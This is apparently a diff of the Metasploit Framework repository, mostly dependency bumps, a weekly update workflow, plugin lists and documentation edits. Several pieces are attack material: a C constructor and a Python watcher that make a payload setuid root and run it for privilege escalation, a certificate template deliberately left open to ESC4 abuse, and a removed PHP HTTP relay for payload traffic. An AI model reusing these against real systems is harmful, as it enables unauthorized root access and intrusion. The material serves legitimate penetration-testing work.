permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: write
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: write
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
schedule:
|
||||
# Run once a week (e.g., every Monday at 01:00 UTC)
|
||||
- cron: '0 1 * * 1'
|
||||
workflow_dispatch: # Allows manual triggering from the Actions tab
|
||||
|
||||
jobs:
|
||||
update-data-files:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
if: github.repository_owner == 'rapid7'
|
||||
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Run Ruby updater scripts
|
||||
run: |
|
||||
ruby tools/dev/update_wordpress_vulnerabilities.rb
|
||||
ruby tools/dev/update_joomla_components.rb
|
||||
ruby tools/dev/update_user_agent_strings.rb
|
||||
ruby tools/dev/check_external_scripts.rb -u
|
||||
- name: Remove vendor folder # prevent git from adding it
|
||||
run: rm -rf vendor
|
||||
|
||||
- name: Create Pull Request
|
||||
uses: peter-evans/create-pull-request@v7
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
commit-message: Update report
|
||||
base: master
|
||||
branch: weekly-updates
|
||||
committer: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
|
||||
author: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
|
||||
title: "Weekly Data Update"
|
||||
draft: false
|
||||
body: |
|
||||
This pull request was created automatically by a GitHub Action to update data files and external scripts.
|
||||
The following tools were run:
|
||||
- ruby tools/dev/update_wordpress_vulnerabilities.rb
|
||||
- ruby tools/dev/update_joomla_components.rb
|
||||
- ruby tools/dev/update_user_agent_strings.rb
|
||||
- ruby tools/dev/check_external_scripts.rb -u
|
||||
## Verification
|
||||
### Wordpress/Joomla Files
|
||||
- [ ] Do a sanity check, do the additions look legit?
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use modules/auxiliary/scanner/http/wordpress_scanner`
|
||||
- [ ] **Verify** it runs
|
||||
### JTR Files
|
||||
- [ ] Do a sanity check, do the additions look legit?
|
||||
- [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking
|
||||
### SharpHound
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] get a shell on a DC or box connected to a dc
|
||||
- [ ] `use post/windows/gather/bloodhound`
|
||||
- [ ] `set session`
|
||||
- [ ] `run`
|
||||
- [ ] **Verify** it runs w/o erroring
|
||||
- [ ] `set method disk`
|
||||
- [ ] **Verify** it runs w/o erroring
|
||||
+17
-9
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.39)
|
||||
metasploit-framework (6.4.52)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
@@ -15,10 +15,12 @@ PATH
|
||||
base64
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
benchmark
|
||||
bigdecimal
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
concurrent-ruby (= 1.3.4)
|
||||
csv
|
||||
dnsruby
|
||||
drb
|
||||
@@ -31,6 +33,7 @@ PATH
|
||||
faraday-retry
|
||||
faye-websocket
|
||||
ffi (< 1.17.0)
|
||||
fiddle
|
||||
filesize
|
||||
getoptlong
|
||||
hrr_rb_ssh-ed25519
|
||||
@@ -42,7 +45,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.187)
|
||||
metasploit-payloads (= 2.0.189)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.35)
|
||||
mqtt
|
||||
@@ -60,6 +63,7 @@ PATH
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
ostruct
|
||||
packetfu
|
||||
patch_finder
|
||||
pcaprub
|
||||
@@ -186,6 +190,7 @@ GEM
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
benchmark (0.4.0)
|
||||
bigdecimal (3.1.8)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.18.4)
|
||||
@@ -200,7 +205,7 @@ GEM
|
||||
crass (1.0.6)
|
||||
csv (3.3.0)
|
||||
daemons (1.4.1)
|
||||
date (3.3.4)
|
||||
date (3.4.1)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
@@ -242,6 +247,7 @@ GEM
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.16.3)
|
||||
fiddle (1.1.6)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
getoptlong (0.2.1)
|
||||
@@ -300,8 +306,8 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.187)
|
||||
metasploit_data_models (6.0.5)
|
||||
metasploit-payloads (2.0.189)
|
||||
metasploit_data_models (6.0.6)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
@@ -317,7 +323,7 @@ GEM
|
||||
logger
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2024.1001)
|
||||
mini_portile2 (2.8.7)
|
||||
mini_portile2 (2.8.8)
|
||||
minitest (5.25.1)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
@@ -340,7 +346,7 @@ GEM
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.7.4)
|
||||
nokogiri (1.16.7)
|
||||
nokogiri (1.18.2)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.7.1)
|
||||
@@ -351,6 +357,7 @@ GEM
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
ostruct (0.6.1)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.26.3)
|
||||
@@ -446,7 +453,8 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.57)
|
||||
rex-socket (0.1.58)
|
||||
dnsruby
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-core
|
||||
@@ -499,7 +507,7 @@ GEM
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.3.11)
|
||||
ruby_smb (3.3.13)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
|
||||
+11
-8
@@ -26,6 +26,7 @@ aws-sigv4, 1.10.1, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.1, MIT
|
||||
benchmark, 0.4.0, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.8, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.18.4, MIT
|
||||
@@ -40,7 +41,7 @@ cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.0, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.4, "ruby, Simplified BSD"
|
||||
date, 3.4.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.2, "Apache 2.0"
|
||||
@@ -61,6 +62,7 @@ faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.1, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
fiddle, 1.1.6, "ruby, Simplified BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
getoptlong, 0.2.1, "ruby, Simplified BSD"
|
||||
@@ -88,15 +90,15 @@ memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.3, "New BSD"
|
||||
metasploit-credential, 6.0.11, "New BSD"
|
||||
metasploit-framework, 6.4.39, "New BSD"
|
||||
metasploit-framework, 6.4.52, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.187, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.5, "New BSD"
|
||||
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.6, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2024.1001, MIT
|
||||
mini_portile2, 2.8.7, MIT
|
||||
mini_portile2, 2.8.8, MIT
|
||||
minitest, 5.25.1, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
@@ -113,12 +115,13 @@ net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.16.7, MIT
|
||||
nokogiri, 1.18.2, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
ostruct, 0.6.1, "ruby, Simplified BSD"
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.26.3, MIT
|
||||
parser, 3.3.5.0, MIT
|
||||
@@ -159,7 +162,7 @@ rex-powershell, 0.1.100, "New BSD"
|
||||
rex-random_identifier, 0.1.13, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.57, "New BSD"
|
||||
rex-socket, 0.1.58, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.59, "New BSD"
|
||||
@@ -181,7 +184,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.3.11, "New BSD"
|
||||
ruby_smb, 3.3.13, "New BSD"
|
||||
rubyntlm, 0.6.5, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
|
||||
@@ -10,6 +10,8 @@ info:
|
||||
x-cortex-type: service
|
||||
x-cortex-domain-parents:
|
||||
- tag: metasploit
|
||||
x-cortex-groups:
|
||||
- exposure:external-ship
|
||||
openapi: 3.0.1
|
||||
servers:
|
||||
- url: "/"
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC4 (certificate has weak edit permissions).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users (this is what makes the template vulnerable to ESC4)
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Server Authentication OID (Not necessary although if left blank this template would also be vulnerable to ESC2)
|
||||
- 1.3.6.1.5.5.7.3.1
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
+1
-1
@@ -13,4 +13,4 @@ responsible for corrupting the Metasploit Framework installation.
|
||||
|
||||
For more information about EICAR, please see the following web site:
|
||||
|
||||
http://www.eicar.org/anti_virus_test_file.htm
|
||||
https://www.eicar.org/download-anti-malware-testfile/
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
/*
|
||||
// system call
|
||||
#include <stdlib.h>
|
||||
// setuid, setgid
|
||||
#include <unistd.h>
|
||||
|
||||
static void a() __attribute__((constructor));
|
||||
|
||||
void a() {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
|
||||
system(shell);
|
||||
}
|
||||
*/
|
||||
|
||||
extern int setuid(int);
|
||||
extern int setgid(int);
|
||||
extern int system(const char *__s);
|
||||
|
||||
void a(void) __attribute__((constructor));
|
||||
|
||||
void __attribute__((constructor)) a() {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
import os
|
||||
import time
|
||||
import pwd
|
||||
|
||||
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
file_stat = os.stat('PAYLOAD_PATH')
|
||||
except FileNotFoundError:
|
||||
exit()
|
||||
username = pwd.getpwuid(file_stat.st_uid).pw_name
|
||||
#print(f"Payload owned by: {username}. Stats: {file_stat}")
|
||||
if (username == 'root'):
|
||||
os.system('PAYLOAD_PATH &')
|
||||
exit()
|
||||
time.sleep(1)
|
||||
@@ -1,68 +0,0 @@
|
||||
<?php
|
||||
$magic = 'TzGq';
|
||||
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
|
||||
if(!is_dir($tempdir)){
|
||||
mkdir($tempdir); //make sure it's there
|
||||
}
|
||||
|
||||
//get url
|
||||
$url = $_SERVER["QUERY_STRING"];
|
||||
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
|
||||
|
||||
//Looks for a file with a name or contents prefix, if found, send it and deletes it
|
||||
function findSendDelete($tempdir, $prefix, $one=true){
|
||||
if($dh = opendir($tempdir)){
|
||||
while(($file = readdir($dh)) !== false){
|
||||
if(strpos($file, $prefix) !== 0){
|
||||
continue;
|
||||
}
|
||||
readfile($tempdir."/".$file);
|
||||
unlink($tempdir."/".$file);
|
||||
if($one){
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//handle control
|
||||
if($url === "/control"){
|
||||
if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//handle data for payload - save in a "down" file or the "init" file
|
||||
$postdata = file_get_contents("php://input");
|
||||
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
|
||||
$f = fopen($tempdir."/init", "w"); //only one init file
|
||||
}else{
|
||||
$prefix = "down_" . sha1($_SERVER['HTTP_X_URLFRAG']);
|
||||
$f = fopen(tempnam($tempdir,$prefix), "w");
|
||||
}
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
}else{
|
||||
findSendDelete($tempdir, "up_", false);
|
||||
}
|
||||
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//get data
|
||||
$postdata = file_get_contents("php://input");
|
||||
//See if we should send anything down
|
||||
if($postdata === "RECV\x00" || $postdata === "RECV"){
|
||||
findSendDelete($tempdir, "down_" . sha1($url));
|
||||
$fname = $tempdir . "/up_recv_" . sha1($url); //Only keep one RECV poll
|
||||
}else{
|
||||
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
|
||||
}
|
||||
//find free and write new file
|
||||
$f = fopen($fname, "w");
|
||||
fwrite($f, $magic);
|
||||
//Little-endian pack length and data
|
||||
$urlen = strlen($url);
|
||||
fwrite($f, pack('V', $urlen));
|
||||
fwrite($f, $url);
|
||||
$postdatalen = strlen($postdata);
|
||||
fwrite($f, pack('V', $postdatalen));
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
//Initial query will be a GET and have a 12345 in it
|
||||
}else if(strpos($url, "12345") !== FALSE){
|
||||
readfile($tempdir."/init");
|
||||
}
|
||||
@@ -9,7 +9,7 @@ ehdr: ; Elf32_Ehdr
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 0xB7 ; e_machine = AARCH64
|
||||
dd 0 ; e_version
|
||||
dd 1 ; e_version
|
||||
dq _start ; e_entry
|
||||
dq phdr - $$ ; e_phoff
|
||||
dq 0 ; e_shoff
|
||||
|
||||
Binary file not shown.
@@ -1,68 +1,70 @@
|
||||
wordpress-popular-posts
|
||||
backup
|
||||
catch-themes-demo-import
|
||||
modern-events-calendar-lite
|
||||
ninja-forms
|
||||
simple-file-list
|
||||
sp-client-document-manager
|
||||
drag-and-drop-multiple-file-upload-contact-form-7
|
||||
wp-file-manager
|
||||
duplicator
|
||||
work-the-flow-file-upload
|
||||
ajax-load-more
|
||||
wpdiscuz
|
||||
wptouch
|
||||
front-end-editor
|
||||
wpshop
|
||||
plainview-activity-monitor
|
||||
sexy-contact-form
|
||||
all-in-one-wp-migration
|
||||
backup
|
||||
backup-backup
|
||||
boldgrid-backup
|
||||
bookingpress
|
||||
bulletproof-security
|
||||
catch-themes-demo-import
|
||||
chopslider
|
||||
custom-registration-form-builder-with-submission-manager
|
||||
download-manager
|
||||
drag-and-drop-multiple-file-upload-contact-form-7
|
||||
dukapress
|
||||
duplicator
|
||||
duplicator_download
|
||||
easy-wp-smtp
|
||||
elementor
|
||||
email-subscribers
|
||||
file-manager-advanced-shortcode
|
||||
front-end-editor
|
||||
gi-media-library
|
||||
give
|
||||
hash-form
|
||||
inboundio-marketing
|
||||
wp-mobile-detector
|
||||
website-contact-form-with-file-upload
|
||||
slideshow-gallery
|
||||
reflex-gallery
|
||||
wp-symposium
|
||||
learnpress
|
||||
loginizer
|
||||
masterstudy-lms-learning-management-system
|
||||
modern-events-calendar-lite
|
||||
modern-events-calendar-lite
|
||||
nextgen-gallery
|
||||
ninja-forms
|
||||
paid-memberships-pro
|
||||
perfect-survey
|
||||
photo-gallery
|
||||
pie-register
|
||||
wysija-newsletters
|
||||
dzs-zoomsounds
|
||||
all-in-one-wp-migration
|
||||
wp-ultimate-csv-importer
|
||||
wp-symposium
|
||||
masterstudy-lms-learning-management-system
|
||||
wp-gdpr-compliance
|
||||
plainview-activity-monitor
|
||||
post-smtp
|
||||
really-simple-ssl
|
||||
reflex-gallery
|
||||
royal-elementor-addons
|
||||
secure-copy-content-protection
|
||||
sexy-contact-form
|
||||
simple-backup
|
||||
simple-file-list
|
||||
slideshow-gallery
|
||||
sp-client-document-manager
|
||||
subscribe-to-comments
|
||||
ultimate-member
|
||||
website-contact-form-with-file-upload
|
||||
woocommerce-abandoned-cart
|
||||
woocommerce-payments
|
||||
wordpress-mobile-pack
|
||||
wordpress-popular-posts
|
||||
work-the-flow-file-upload
|
||||
wp-automatic
|
||||
wp-easycart
|
||||
dukapress
|
||||
loginizer
|
||||
email-subscribers
|
||||
wps-hide-login
|
||||
secure-copy-content-protection
|
||||
wordpress-mobile-pack
|
||||
learnpress
|
||||
wp-mobile-edition
|
||||
boldgrid-backup
|
||||
modern-events-calendar-lite
|
||||
gi-media-library
|
||||
chopslider
|
||||
bulletproof-security
|
||||
nextgen-gallery
|
||||
simple-backup
|
||||
subscribe-to-comments
|
||||
easy-wp-smtp
|
||||
duplicator_download
|
||||
custom-registration-form-builder-with-submission-manager
|
||||
woocommerce-abandoned-cart
|
||||
elementor
|
||||
bookingpress
|
||||
paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
hash-form
|
||||
give
|
||||
ultimate-member
|
||||
wp-fastest-cache
|
||||
post-smtp
|
||||
wp-file-manager
|
||||
wp-gdpr-compliance
|
||||
wp-mobile-detector
|
||||
wp-mobile-edition
|
||||
wp-symposium
|
||||
wp-symposium
|
||||
wp-time-capsule
|
||||
wp-ultimate-csv-importer
|
||||
wpdiscuz
|
||||
wps-hide-login
|
||||
wpshop
|
||||
wptouch
|
||||
wysija-newsletters
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
bricks
|
||||
holding_pattern
|
||||
wplms
|
||||
bricks
|
||||
|
||||
+6893
-1
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+10
-2
@@ -1,2 +1,10 @@
|
||||
Contains `modules_metadata_base.json` which contains information about all modules within Metasploit, as well as
|
||||
`schema.rb` which describes current state of the database schema maintained by Rails ActiveRecord.
|
||||
This directory contains the following files:
|
||||
|
||||
- `modules_metadata_base.json`, which contains information about all modules within Metasploit.
|
||||
- `schema.rb`, which is auto-generated from the current state of the database schema maintained by Rails ActiveRecord.
|
||||
This file is auto-generated from the current state of the database.
|
||||
|
||||
`schema.rb` is the source Rails uses to define your schema when running `bin/rails db:schema:load`. When creating a new
|
||||
database, `bin/rails db:schema:load` tends to be faster and is potentially less error-prone than running all of your
|
||||
migrations from scratch. Old migrations may fail to apply correctly if those migrations use external dependencies or
|
||||
application code. We _strongly_ recommend that you check this file into your version control system.
|
||||
|
||||
+8485
-766
File diff suppressed because it is too large
Load Diff
@@ -6,6 +6,7 @@ gem 'just-the-docs', github: 'rapid7/just-the-docs', branch: 'r7_ver_custom'
|
||||
#gem 'just-the-docs', path: '../../just-the-docs'
|
||||
gem 'webrick'
|
||||
gem 'rexml'
|
||||
gem 'jekyll-sass-converter', '~> 2.2.0'
|
||||
|
||||
group :jekyll_plugins do
|
||||
gem 'jekyll-sitemap'
|
||||
|
||||
+21
-22
@@ -12,22 +12,22 @@ GIT
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
addressable (2.8.1)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
byebug (11.1.3)
|
||||
coderay (1.1.3)
|
||||
colorator (1.1.0)
|
||||
concurrent-ruby (1.1.10)
|
||||
concurrent-ruby (1.3.4)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
eventmachine (1.2.7)
|
||||
ffi (1.15.5)
|
||||
ffi (1.17.0)
|
||||
forwardable-extended (2.6.0)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (1.12.0)
|
||||
i18n (1.14.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (4.3.1)
|
||||
jekyll (4.3.4)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
@@ -53,46 +53,45 @@ GEM
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-watch (2.2.1)
|
||||
listen (~> 3.0)
|
||||
kramdown (2.4.0)
|
||||
rexml
|
||||
kramdown (2.5.1)
|
||||
rexml (>= 3.3.9)
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.7.1)
|
||||
liquid (4.0.4)
|
||||
listen (3.9.0)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.4.0)
|
||||
method_source (1.0.0)
|
||||
method_source (1.1.0)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
pry (0.14.1)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.1)
|
||||
rake (13.0.6)
|
||||
public_suffix (6.0.1)
|
||||
rake (13.2.1)
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.10.1)
|
||||
rb-inotify (0.11.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.3.6)
|
||||
strscan
|
||||
rouge (4.0.0)
|
||||
rexml (3.4.0)
|
||||
rouge (4.5.1)
|
||||
safe_yaml (1.0.5)
|
||||
sassc (2.4.0)
|
||||
ffi (~> 1.9)
|
||||
strscan (3.1.0)
|
||||
terminal-table (3.0.2)
|
||||
unicode-display_width (>= 1.1.1, < 3)
|
||||
unicode-display_width (2.3.0)
|
||||
webrick (1.7.0)
|
||||
unicode-display_width (2.6.0)
|
||||
webrick (1.9.1)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
jekyll (~> 4.3.0)
|
||||
jekyll-sass-converter (~> 2.2.0)
|
||||
jekyll-sitemap
|
||||
just-the-docs!
|
||||
pry-byebug
|
||||
@@ -103,4 +102,4 @@ DEPENDENCIES
|
||||
webrick
|
||||
|
||||
BUNDLED WITH
|
||||
2.2.22
|
||||
2.5.10
|
||||
|
||||
@@ -146,7 +146,7 @@ register_options(
|
||||
], self.class)
|
||||
```
|
||||
|
||||
**8. Neglecting to use send_request_cgi()'s vars_get or vars_get when crafting a POST/GET request**
|
||||
**8. Neglecting to use send_request_cgi()'s vars_post or vars_get when crafting a POST/GET request**
|
||||
|
||||
```ruby
|
||||
data_post = 'user=jsmith&pass=hello123'
|
||||
@@ -199,4 +199,4 @@ Metasploit3.new
|
||||
```ruby
|
||||
# https://github.com/rapid7/metasploit-framework/issues/3853
|
||||
datastore['BAD'] = 'This is bad.'
|
||||
```
|
||||
```
|
||||
|
||||
@@ -112,6 +112,11 @@ end
|
||||
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
|
||||
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
|
||||
|
||||
### Non-required fields
|
||||
|
||||
* **Stance** - The types of stances an exploit can take, such as passive or aggressive. Stances indicate whether or not the module triggers the exploit without waiting for one or more conditions to be met (aggressive) or whether it must wait for certain conditions to be satisfied before the exploit can be initiated (passive). Passive exploits usually would wait for interaction from a client or other entity for being able to trigger the vulnerability.
|
||||
|
||||
* **Passive** - Either `true` or `false` indicates whether or not the exploit should be run as a background job. If for example you know the vulnerability takes an hour to trigger, setting `Passive` to `true` would be beneficial as it allows the user to continue using msfconsole while waiting for a response from the exploit.
|
||||
|
||||
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
|
||||
|
||||
|
||||
@@ -201,7 +201,7 @@ This data breaks down to the following table:
|
||||
| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows |
|
||||
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
